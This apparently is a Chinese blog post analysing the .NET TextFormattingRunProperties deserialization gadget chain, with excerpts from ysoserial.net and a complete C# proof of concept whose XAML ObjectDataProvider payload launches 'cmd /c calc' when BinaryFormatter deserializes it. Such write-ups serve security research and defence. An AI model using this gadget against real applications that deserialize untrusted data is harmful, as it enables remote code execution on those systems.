TextFormattingRunProperties 利用链

分析

反序列化时会自动调用与GetObjectData函数同样参数的构造函数。所以会走到这里。

img

TextFormattingRunProperties实现ISerializable接口,在其序列化的构造函数中,进行this.GetObjectFromSerializationInfo("ForegroundBrush", info)

img

GetObjectFromSerializationInfo会从info里面获取ForegroundBrush的值,然后

调用XamlReader.Parse(payload)解析获取到的值。

使用XamlReader.Parse(payload)结合前面的ObjectDataProvider的xaml_payload串联进行买了执行。可以来看看yso里面是怎么生存ObjectDataProvider的payload的

        public static object TextFormattingRunPropertiesGadget(InputArgs inputArgs)
        {
            ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator();
            string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();

            if (inputArgs.Minify)
            {
                xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
            }

            TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
            return payload;
        }
    } 
}


//生成
public override object Generate(string formatter, InputArgs inputArgs)
        {
            // NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml
            if (formatter.ToLower().Equals("xaml"))
            {
                ProcessStartInfo psi = new ProcessStartInfo();

                psi.FileName = inputArgs.CmdFileName;
                if (inputArgs.HasArguments)
                {
                    psi.Arguments = inputArgs.CmdArguments;
                }

                StringDictionary dict = new StringDictionary();
                psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
                Process p = new Process();
                p.StartInfo = psi;
                ObjectDataProvider odp = new ObjectDataProvider();
                odp.MethodName = "Start";
                odp.IsInitialLoadEnabled = false;
                odp.ObjectInstance = p;

                string payload = "";

                if (variant_number == 2)
                {
                    ResourceDictionary myResourceDictionary = new ResourceDictionary();
                    myResourceDictionary.Add("", odp);
                    // XAML serializer can also be exploited!
                    payload = SerializersHelper.Xaml_serialize(myResourceDictionary);

                }

将构造的恶意的ObjectDataProvider类实例化对象添加到ResourceDictionary对象中然后进行System.Windows.Markup.XamlWriter.Save进行序列化。

最终的payload

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }

        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            //string xaml_payload = File.ReadAllText(@"C:\Users\sangfor\Desktop\ysoserial.net-master\ysoserial.net-master\TestConsoleApp\1.xml");

            string payloadxml = "<?xml version=\"1.0\" encoding=\"utf-16\"?>\r\n<ObjectDataProvider MethodName=\"Start\" IsInitialLoadEnabled=\"False\" xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:sd=\"clr-namespace:System.Diagnostics;assembly=System\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\r\n  <ObjectDataProvider.ObjectInstance>\r\n    <sd:Process>\r\n      <sd:Process.StartInfo>\r\n        <sd:ProcessStartInfo Arguments=\"/c calc\" StandardErrorEncoding=\"{x:Null}\" StandardOutputEncoding=\"{x:Null}\" UserName=\"\" Password=\"{x:Null}\" Domain=\"\" LoadUserProfile=\"False\" FileName=\"cmd\" />\r\n      </sd:Process.StartInfo>\r\n    </sd:Process>\r\n  </ObjectDataProvider.ObjectInstance>\r\n</ObjectDataProvider>";

            TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(payloadxml);
            MemoryStream memoryStream = new MemoryStream();
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            binaryFormatter.Serialize(memoryStream, payload);
            memoryStream.Position = 0;
            binaryFormatter.Deserialize(memoryStream);
          
            Console.ReadKey();
        }
    }
}

整体流程如下:

序列化:自己编写个类继承ISerializable,重写GetObjectData方法,给ForegroundBrush字段赋值为xaml的payload,并且将对象类型赋值为TextFormattingRunProperties

反序列化:在反序列化时触发反序列化构造函数GetObjectFromSerializationInfo-> 获取设置的ForegroundBrush的值,调用XamlReader.Parse(payload)进行命令执行

参考

https://www.freebuf.com/articles/network/351317.html

https://github.com/Y4er/dotnet-deserialization/blob/main/BinaryFormatter.md

posted @ 2022-12-02 19:07  nice_0e3  阅读(514)  评论(0编辑  收藏  举报